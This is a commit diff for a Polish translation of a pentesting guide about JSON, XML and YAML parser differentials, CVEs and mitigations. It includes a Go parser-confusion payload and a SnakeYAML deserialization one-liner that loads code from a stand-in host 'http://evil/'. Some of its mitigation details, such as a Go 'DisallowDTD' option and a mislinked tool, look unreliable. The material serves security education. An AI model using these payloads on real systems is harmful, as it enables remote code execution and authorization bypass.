Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to pl

This commit is contained in:
Translator 2025-08-04 20:32:32 +00:00
parent 63d1104076
commit 78b6b264ae

View File

@ -53,7 +53,7 @@ IsAdmin bool `json:"-"`
Celem jest obejście autoryzacji poprzez wykorzystanie sposobu, w jaki różne parsery interpretują ten sam ładunek w różny sposób, jak w przypadku:
- CVE-2017-12635: obejście Apache CouchDB za pomocą zduplikowanych kluczy
- 2022: Zoom 0-click RCE poprzez niespójność parsera XML
- GitLab 2025 obejście SAML poprzez dziwactwa XML
- GitLab 2025 obejście SAML za pomocą dziwactw XML
**1. Zduplikowane pola:**
@ -64,8 +64,8 @@ fmt.Println(req.Action) // AdminAction
```
Inne parsery (np. Jackson w Javie) mogą brać **pierwszy**.
**2. Niezależność od wielkości liter:**
Go jest niezależny od wielkości liter:
**2. Niejednoznaczność wielkości liter:**
Go jest niejednoznaczne pod względem wielkości liter:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
@ -99,9 +99,9 @@ Atakujący kontroluje:
- Nagłówek `Accept: application/json`
- Częściową kontrolę nad ciałem JSON
Parser XML Go i tak to zanalizował i zaufał wstrzykniętej tożsamości.
Parser XML w Go analizował to **i tak** i ufał wstrzykniętej tożsamości.
- Opracowany ładunek:
- Stworzony ładunek:
```json
{
"action": "Action_1",
@ -109,20 +109,57 @@ Parser XML Go i tak to zanalizował i zaufał wstrzykniętej tożsamości.
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
- **Go JSON** parser: `Action_2` (niezależny od wielkości liter + ostatni wygrywa)
- **Go JSON** parser: `Action_2` (niezależne od wielkości liter + ostatnie wygrywa)
- **YAML** parser: `Action_1` (wrażliwy na wielkość liter)
- **XML** parser: analizuje `"Action_3"` wewnątrz ciągu
---
### 🔐 Mitigacje
## Znaczące luki w parserach (2023-2025)
| Ryzyko | Naprawa |
|-----------------------------|---------------------------------------|
| Nieznane pola | `decoder.DisallowUnknownFields()` |
| Duplikujące się pola (JSON) | ❌ Brak naprawy w stdlib |
| Dopasowanie niezależne od wielkości liter | ❌ Brak naprawy w stdlib |
| Śmieciowe dane XML | ❌ Brak naprawy w stdlib |
| YAML: nieznane klucze | `yaml.KnownFields(true)` |
> Poniższe publicznie wykorzystywane problemy pokazują, że niebezpieczne analizowanie to problem wielojęzyczny — nie tylko problem Go.
### SnakeYAML Deserialization RCE (CVE-2022-1471)
* Dotyczy: `org.yaml:snakeyaml` < **2.0** (używane przez Spring-Boot, Jenkins itp.).
* Przyczyna: `new Constructor()` deserializuje **dowolne klasy Java**, umożliwiając łańcuchy gadżetów, które kończą się wykonaniem zdalnego kodu.
* One-liner PoC (otworzy kalkulator na podatnym hoście):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Naprawa / Łagodzenie:
1. **Zaktualizuj do ≥2.0** (domyślnie używa `SafeLoader`).
2. W starszych wersjach, wyraźnie użyj `new Yaml(new SafeConstructor())`.
### libyaml Double-Free (CVE-2024-35325)
* Dotyczy: `libyaml` ≤0.2.5 (biblioteka C wykorzystywana przez wiele powiązań językowych).
* Problem: Wywołanie `yaml_event_delete()` dwa razy prowadzi do podwójnego zwolnienia pamięci, które napastnicy mogą wykorzystać do DoS lub, w niektórych scenariuszach, do eksploatacji sterty.
* Status: Zgłoszenie odrzucone jako „niewłaściwe użycie API”, ale dystrybucje Linuksa dostarczyły poprawioną wersję **0.2.6**, która defensywnie zeruje wskaźnik.
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
* Dotyczy: Tencent **RapidJSON** przed zatwierdzeniem `8269bc2` (<1.1.0-patch-22).
* Błąd: W `GenericReader::ParseNumber()` niekontrolowana arytmetyka pozwala napastnikom tworzyć ogromne literały numeryczne, które owijają się i uszkadzają stertę — ostatecznie umożliwiając eskalację uprawnień, gdy powstała graf obiektów jest używana do podejmowania decyzji autoryzacyjnych.
---
### 🔐 Łagodzenia (Zaktualizowane)
| Ryzyko | Naprawa / Rekomendacja |
|-------------------------------------|------------------------------------------------------------|
| Nieznane pola (JSON) | `decoder.DisallowUnknownFields()` |
| Duplikujące się pola (JSON) | ❌ Brak naprawy w stdlib — waliduj za pomocą [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Dopasowanie bez uwzględnienia wielkości liter (Go) | ❌ Brak naprawy — waliduj tagi struktury + wstępnie kanonizuj dane wejściowe |
| Śmieciowe dane XML / XXE | Użyj wzmocnionego parsera (`encoding/xml` + `DisallowDTD`) |
| Nieznane klucze YAML | `yaml.KnownFields(true)` |
| **Niebezpieczna deserializacja YAML** | Użyj SafeConstructor / zaktualizuj do SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 podwójne zwolnienie pamięci | Zaktualizuj do **0.2.6** lub wersji poprawionej przez dystrybucję |
| RapidJSON <poprawione zatwierdzenie | Kompiluj przeciwko najnowszemu RapidJSON (lipiec 2024) |
## Odnośniki
- Baeldung “Rozwiązywanie CVE-2022-1471 z SnakeYAML 2.0”
- Ubuntu Security Tracker CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}